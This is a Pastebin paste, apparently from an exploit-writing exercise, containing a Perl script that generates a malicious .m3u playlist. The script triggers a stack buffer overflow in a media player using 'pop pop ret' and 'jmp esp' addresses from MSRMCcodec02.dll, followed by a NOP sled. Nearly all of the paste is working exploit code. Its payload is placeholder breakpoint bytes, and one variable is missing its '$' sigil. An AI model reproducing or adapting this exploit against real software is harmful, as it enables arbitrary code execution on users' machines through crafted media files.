Advertisement
Guest User

Untitled

a guest
Mar 31st, 2014
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1.  
  2. # C:\Documents and Settings\Adminitrador\Escritorio\
  3.  
  4. my $file= "pop-ret.m3u";
  5. my $junk= "A" x 26061;
  6. my $eip = pack('V',0x01BD1111); # "pop pop ret" from MSRMCcodec02.dll
  7. my $jmpesp = pack('V',0x01D8F23A); # "jmp esp" from MSRMCcodec02.dll
  8. my $prependesp = "XXXX"; # add 4 bytes so ESP points at beginning of shellcode bytes
  9. my $shellcode = "\x90" x 8; # add more bytes (Queremos poner basura a todo antes de llegar a sustituir al RET ADDRESS que hemos ejecutado, el cual llevará el JMP ESP que pondremos ahora)
  10. $shellcode = $shellcode . jmpesp; # address to return via pop pop ret ( = jmp esp)
  11. $shellcode = $shellcode . "\xCC" x 50; # real shellcode
  12.  
  13. open($FILE,">$file");
  14. print $FILE $junk.$eip.$prependesp.$shellcode;
  15. close($FILE);
  16. print "Archivo m3u creado con exito\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement